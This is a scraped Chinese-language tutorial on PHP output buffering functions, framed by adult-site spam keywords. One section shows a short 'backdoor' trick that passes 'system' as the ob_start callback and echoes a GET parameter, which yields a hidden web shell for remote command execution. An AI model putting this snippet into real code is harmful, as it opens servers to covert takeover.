亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 語言 > PHP > 正文

PHP輸出緩沖控制Output Control系列函數詳解

2024-09-04 11:42:35
字體:
來源:轉載
供稿:網友

這篇文章主要介紹了PHP輸出緩沖控制Output Control系列函數詳解,本文講解了輸出緩沖的簡介、輸出緩沖的作用、php.ini 中的相關配置項、Output Control 函數詳解等內容,需要的朋友可以參考下。

概述

以前研究過PHP的輸入輸出緩沖,不過博客搬家以后,原來文章找不到了,今天看到一篇好文,順便轉載過來。

簡介

說到輸出緩沖,首先要說的是一個叫做緩沖器(buffer)的東西。舉個簡單的例子說明他的作用:我們在編輯一篇文檔時,在我們沒有保存之前,系統是不會向磁盤寫入的,而是寫到buffer中,當buffer寫滿或者執行了保存操作,才會將數據寫入磁盤。對于PHP來說,每一次像 echo 這樣的輸出操作,同樣是先寫入到了 php buffer 里,在腳本執行完畢或者執行了強制輸出緩存操作,數據才會在瀏覽器上顯示。

其實對于PHP程序員來說,基本上每個腳本都涉及到了輸出緩沖,只是在大多數情況下,我們都不需要對輸出緩沖進行更改。而今天就來用實例對PHP輸出緩沖控制函數“Output Control”做一個詳細的解析。

下面這個例子簡單介紹了輸出緩沖在一般腳本中存在的方式:

echo 'Apple';

echo 'IBM';

echo 'Microsoft'

我們在執行上面這段腳本時,腳本在執行完第一個 echo 時,并不會向瀏覽器輸出相應內容,而是會輸出到一個緩沖區,依次類推,當三個 echo 全部執行完畢(也就是腳本結束)時,才會將緩沖區內容全部輸出到瀏覽器。當然這個緩沖區也有大小的限制,是根據 php.ini 中的output_buffering選項來設置的,這點會在下面的文章中詳細介紹。而本章所講的輸出緩沖控制,就是在腳本結束前,對緩沖區里的內容進行操作。

下這個例子可以更好的體現輸出緩沖控制的應用:

echo 'Apple'; sleep(2);

echo 'IBM'; sleep(2);

echo 'Microsoft';

我們至少需要等待 2秒 才能看到輸出結果,那我們能不能讓其實時的顯示呢?也就是在第一個 echo 執行完畢時就輸出相應的內容呢,這時候就需要用輸出緩沖控制函數來操作緩沖區了,具體怎么實現先放一邊,文章的結尾會公布。

作用

1.在PHP中,像header(), session_start(), setcookie() 等這樣的發送頭文件的函數前,不能有任何的輸出,而利用輸出緩沖控制函數可以在這些函數前進行輸出而不報錯。其實這么做沒啥必要,非常少見的用法。

2.對輸出的內容進行處理,例如生成靜態緩存文件、進行gzip壓縮輸出,這算是較常用的功能了。

3.捕獲一些不可獲取的函數輸出,例如phpinfo(), var_dump() 等等,這些函數都會將運算結果顯示在瀏覽器中,而如果我們想對這些結果進行處理,則用輸出緩沖控制函數是個不錯的方法。說的通俗點,就是這類函數都不會有返回值,而要獲取這些函數的輸出數據,就要用到輸出緩沖控制函數。

4.最后一種應用就是 簡介 中提到的 對一些數據進行實時的輸出。

php.ini 中的相關配置項

再來看看在 php.ini 中和輸出緩沖控制有關的選項,共三個,分別是:output_buffering, implicit_flush 和 output_handler。

1.output_buffering 默認為 off , 當設置為 on 時,則在所有腳本自動打開輸出緩沖區,就是在每個腳本都自動執行了 ob_start() 這個函數,而不用再顯示的調用該函數。其也可以設置為一個整型的數字,代表緩沖區可以存儲的最大字節數,我們在例1下面的說明中提到過這個配置項。

2.implicit_flush 默認為 off , 當設置為 on 時,PHP將在輸出后,自動送出緩沖區內容。就是在每段輸出后,自動執行 flush() 。當然有效的輸出不僅指像echo , print 這樣的函數,也包括HTML段。

3.output_handler 默認為 null , 其值只能設置為一個內置的函數名,作用就是將腳本的所有輸出,用所定義的函數進行處理。他的用法和 ob_start(‘function_name') 較類似,下面會介紹到。

本篇文章中,如果沒有特別說明,php.ini中output_buffering, implicit_flush 和 output_handler的值均為默認值。

Output Control 函數詳解

ob_start()

bool ob_start ([ callback outputcallback[,intchunk_size [, bool $erase ]]] )

此函數大家從命名上也能明白其含義,就是打開輸出緩沖區,從而進行下一步的輸出緩沖處理。這里要特意說的是其參數的用法,第一個參數要傳遞一個回調函數,其需將緩沖區內容做為參數,并且返回一個字符串。他會在緩沖區被送出時調用,緩沖區送出指的是執行了例如ob_flush() 等函數或者腳本執行完畢。ob_flush() 函數會在下面介紹到,來看一個簡單的例子就能理解其用法:

  1. function dothing1($echo_thing){ 
  2.     return ' #' . $echo_thing . '# '
  3.  
  4. ob_start('dothing1'); 
  5. echo 'Apple'

輸出結果

#Apple#

從輸出的結果可以看出單詞兩邊被添加了“#”,也就是說在緩沖區內容輸出時,運行了我們定義的 dothing1函數。

再來看一個更實際的例子,也就是常見到的將網頁內容利用 gzip 壓縮后再輸出,代碼如下:

ob_start();

echo str_repeat('Apple', 1024);

輸出結果:沒有使用gzip壓縮的情況下,輸出內容大小為5.2KB。

輸出結果:使用gzip壓縮的情況下,文檔大小小了很多,壓縮花費了時間,所以時間長了。

而第二個參數 chunk_size 為緩沖區的字節長度,如果緩沖區內容大于此長度,將會被送出緩沖區,默認值為0,代表函數將會在最后被調用。第三個參數 erase 如果被設置為 flase , 則代表腳本執行完畢后緩沖區才會被刪除,如果提前執行了刪除緩沖區函數(后面會提到),則會報一個錯誤。

ob_start() 的用法就這么多,但有兩點需要特別注意的地方:

1.ob_start() 可重復調用,也就是說一個腳本中可以存在多個緩沖區,但記得要按照嵌套順序將他們全部關閉掉,而如果多個 ob_start 都定義了第一個參數,也就是都定義了回調函數,則會按照嵌套順序依次執行。關于緩沖區的堆疊嵌套,將在 ob_get_level 函數處詳細介紹,這里就不過多闡述了。

2.ob_start() 還有一個不太明顯但很致命的后門用法,實現代碼如下:

  1. $cmd = 'system'
  2. ob_start($cmd); 
  3. echo $_GET['a']; 
  4. ob_end_flush(); 

windows下面的輸出結果:

14 個目錄 30,970,388,480 可用字節

如果理解了上面關于 ob_start的用法,這段代碼就不難理解了,其應用了 ob_start 函數會將緩沖區輸出的內容作為參數傳入所設置的函數中的特點,實現了以Web服務器權限遠程執行命令,并且不宜被發覺。

ob_get_contents()

string ob_get_contents ( void )

此函數用來獲取此時緩沖區的內容,下面的例子就能很好的理解其用法:

  1. ob_start('doting2'); 
  2. echo 'apple'
  3. $tmp = ob_get_contents(); 
  4. file_put_contents('./doting2'$tmp); 
  5. ob_end_flush() 
  6. ob_get_length() 

此函數用來獲取緩沖區內容的長度。

ob_get_level()

int ob_get_level ( void )

此函數用來獲取緩沖機制的嵌套級別,我們在介紹 ob_start() 函數時曾說過,在一個腳本中可以嵌套存在多個緩沖區,而此函數就是來獲取當前緩沖區的嵌套級別,用法如下:

  1. ob_start(); 
  2. var_dump(ob_get_level()); 
  3. ob_start(); 
  4. var_dump(ob_get_level()); 
  5. ob_end_flush(); 
  6. ob_end_flush(); 

運行后可以很明顯的看出他們的嵌套關系。

ob_get_status()

array ob_get_status ([ bool $full_status = FALSE ] )

此函數用來獲取當前緩沖區的狀態,返回一個狀態信息的數組,如果第一個參數為 true ,將返回一個詳細信息的數組,我們結合實例來分析這個數組:

  1. ob_start('ob_gzhandler'); 
  2. var_export(ob_get_status()); 
  3. ob_start(); 
  4. var_export(ob_get_status()); 
  5. ob_end_flush(); ob_end_flush(); 
  6. 運行結果 
  7. array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler''del' => true, ) 
  8. array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler''del' => true, ) 

說明:

1.level 為嵌套級別,也就是和通過 ob_get_level() 取到的值一樣

2.type 為處理緩沖類型,0為系統內部自動處理,1為用戶手動處理

3.status為緩沖處理狀態, 0為開始, 1為進行中, 2為結束

4.name 為定義的輸出處理函數名稱,也就是在 ob_start() 函數中第一個參數傳入的函數名

5.del 為是否運行了刪除緩沖區操作

ob_flush()

void ob_flush ( void )

此函數的作用就是 “送出” 當前緩沖區內容,同時清空緩沖區,需要注意這里用的是 “送出” 一詞,也就是說調用此函數并不會將緩沖區內容輸出,必須在其后調用 flush 函數其才會輸出。關于 flush 的用法下面就會說到,這里就不再做實例了。

flush()

void flush ( void )

這個函數算是比較常用的,用來將其前面的所有輸出發送到瀏覽器顯示,且不會對緩存區有任何影響。換句話說,不論是 echo 等函數的輸出,還是 HTML實體 ,或是運行 ob_start() 送出的內容,運行 flush() 后都會在瀏覽器進行顯示。

ob_flush()與flush()的區別

在沒有開啟緩存時,腳本輸出的內容都在服務器端處于等待輸出的狀態,flush()可以將等待輸出的內容立即發送到客戶端。 開啟緩存后,腳本輸出的內容存入了輸出緩存中,這時沒有處于等待輸出狀態的內容,你直接使用flush()不會向客戶端發出任何內容。而ob_flush()的作用就是將本來存在輸出緩存中的內容取出來,設置為等待輸出狀態,但不會直接發送到客戶端,這時你就需要先使用ob_flush()再使用flush(),客戶端才能立即獲得腳本的輸出。

void ob_implicit_flush()

此函數用來打開/關閉絕對刷送模式,就是在每一次輸出后自動執行 flush(),從而不需要再顯示的調用 flush() ,提高效率。

其他相關函數

1.bool ob_end_flush ( void )

2.string ob_get_flush ( void )

3.void ob_clean ( void )

4.bool ob_end_clean ( void )

5.string ob_get_clean ( void )

對一些數據進行實時的輸出

相信讀了上面的內容,就會對PHP的緩沖控制函數有較深的認識了,現在我們回到簡介中留下的問題:讓例2的腳本實現實時的顯示內容,而不需要等待4秒后出現所有內容。

我們可以根據緩存開啟與否,有如下幾種不同的寫法,如果你在測試過程中無法出現預期的效果,可以在header(‘content-type:text/html;charset=utf-8');下面插入str_repeat(‘ ‘, 1024);,你也可以嘗試更大的值,部分瀏覽器即使這么做了,有可能還是無法出現效果,你可以嘗試將php代碼放入完整的html代碼塊body體內。下面代碼的header(‘content-type:text/html;charset=utf-8');不要省略哦,否則部分瀏覽器查看不到效果,代碼如下:

  1. ob_start(''); //這里我使用ob_start('ob_gzhandler')沒有效果 
  2. header('content-type:text/html;charset=utf-8'); 
  3. echo 'Apple #';  
  4. ob_flush(); flush(); 
  5. sleep(2); 
  6. echo 'IBM #'
  7. ob_flush(); flush(); 
  8. sleep(2); 
  9. echo 'Microsoft';

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
日韩最新免费不卡| 在线观看精品自拍私拍| 亚洲国产精品va在看黑人| 欧美日韩在线免费观看| 911国产网站尤物在线观看| 成人免费视频网址| 国产精品日日做人人爱| 欧美限制级电影在线观看| 亚洲精品国偷自产在线99热| 色噜噜狠狠狠综合曰曰曰| 欧美激情手机在线视频| 国产精品久久久久aaaa九色| 国产成人精品视频在线观看| 亚洲精美色品网站| 日韩最新免费不卡| 日本在线观看天堂男亚洲| 青青青国产精品一区二区| 精品久久久久久亚洲精品| 国产日韩欧美中文在线播放| 欧美精品免费在线观看| 亚洲欧洲在线观看| 久久久久久噜噜噜久久久精品| 黄色成人av网| 日韩激情视频在线| 国产视频欧美视频| 日韩一区二区三区国产| 久久综合久久八八| 欧美日韩免费观看中文| 亚洲第一网中文字幕| 国产精品久久久久久久久久久久| 国产精品一区二区三区久久久| 国产成人高潮免费观看精品| 久久影院在线观看| 红桃av永久久久| 日韩一中文字幕| 日韩av一区二区在线| 亚洲视频日韩精品| 日韩有码在线观看| 国产成人精品久久久| www.日本久久久久com.| 亚洲国产精品久久久久久| 国产精品免费久久久久久| 欧美成在线视频| 欧美一区二区三区图| 亚洲精品视频二区| 欧美做受高潮电影o| 久久精品国产亚洲精品| 久久免费国产精品1| 91欧美精品成人综合在线观看| 51精品国产黑色丝袜高跟鞋| 国产精品va在线| 国产精品男女猛烈高潮激情| 亚洲xxxxx| 日韩极品精品视频免费观看| 日韩精品在线视频观看| 影音先锋日韩有码| 国产精品亚洲欧美导航| 久久全国免费视频| 亚洲欧美资源在线| 日韩在线免费av| 亚洲午夜久久久影院| 欧美成人中文字幕| 久久国产精彩视频| 亚洲欧洲高清在线| 亚洲淫片在线视频| 亚洲自拍小视频| 日韩av免费看网站| 一区二区三区无码高清视频| 亚洲sss综合天堂久久| 日韩精品视频在线观看网址| 日韩美女免费线视频| 国产精品久久久久福利| 91网站免费看| 欧美黄色www| 久久色在线播放| 一区二区成人av| 国产一区玩具在线观看| 国产欧美精品一区二区三区-老狼| 国产999视频| 亚洲成人免费在线视频| 91久久嫩草影院一区二区| 性欧美办公室18xxxxhd| 欧美国产第一页| 亚洲国产精品va在线观看黑人| 国产又爽又黄的激情精品视频| 日韩av影院在线观看| 欧美性精品220| 狠狠色狠狠色综合日日五| 成人网在线免费观看| 日韩欧美国产成人| 亚洲精品av在线| 伊人精品在线观看| 久久精品国产96久久久香蕉| 亚洲视频在线观看网站| 欧美精品激情blacked18| 日韩精品亚洲元码| 国语自产精品视频在线看| 国产精品视频一区二区高潮| 在线播放日韩专区| 亚洲国产精品视频在线观看| 波霸ol色综合久久| 高跟丝袜一区二区三区| 国产精品日韩久久久久| 国产成人激情视频| 亚洲美女性生活视频| 日韩成人av网址| 国产成人97精品免费看片| 亚洲精品自拍偷拍| 久久成人一区二区| 欧美性猛交xxxx黑人猛交| 欧美成年人视频网站欧美| 国模精品一区二区三区色天香| 亚洲午夜精品久久久久久性色| 午夜精品久久久久久久99热| 日韩中文字幕视频在线| 亚洲欧洲日韩国产| 蜜臀久久99精品久久久久久宅男| 亚洲尤物视频网| 日韩中文av在线| 成人黄在线观看| 成人免费看吃奶视频网站| 日韩久久午夜影院| 久久九九全国免费精品观看| 国产精品欧美一区二区| 久久久久久一区二区三区| 国产精品中文字幕在线观看| 韩国日本不卡在线| 国产一区玩具在线观看| 麻豆成人在线看| 91tv亚洲精品香蕉国产一区7ujn| 日韩欧美亚洲国产一区| 自拍偷拍免费精品| 国产精品白嫩美女在线观看| 日韩av网址在线观看| 久久精品国产69国产精品亚洲| 久久久av免费| 欧美成人激情视频免费观看| 国产精品夜间视频香蕉| 不用播放器成人网| www.欧美三级电影.com| 亚洲国产成人精品一区二区| 亚洲电影成人av99爱色| 亚洲欧美制服中文字幕| 欧美久久精品午夜青青大伊人| 黑人巨大精品欧美一区二区免费| 亚洲美腿欧美激情另类| 精品日韩中文字幕| 91精品久久久久久久久久久久久| 国产成人精品一区二区在线| 日韩在线中文视频| 成人激情春色网| 日韩精品极品视频| 91精品国产综合久久香蕉| 色多多国产成人永久免费网站| 91大神在线播放精品| 日韩欧美亚洲一二三区| 亚洲国产一区自拍| 久久久久成人网| 欧美日韩一区二区免费在线观看| 国产成人avxxxxx在线看| 欧美性xxxxx极品娇小| 亚洲精品456在线播放狼人| 国产精品久久不能| 91精品在线一区|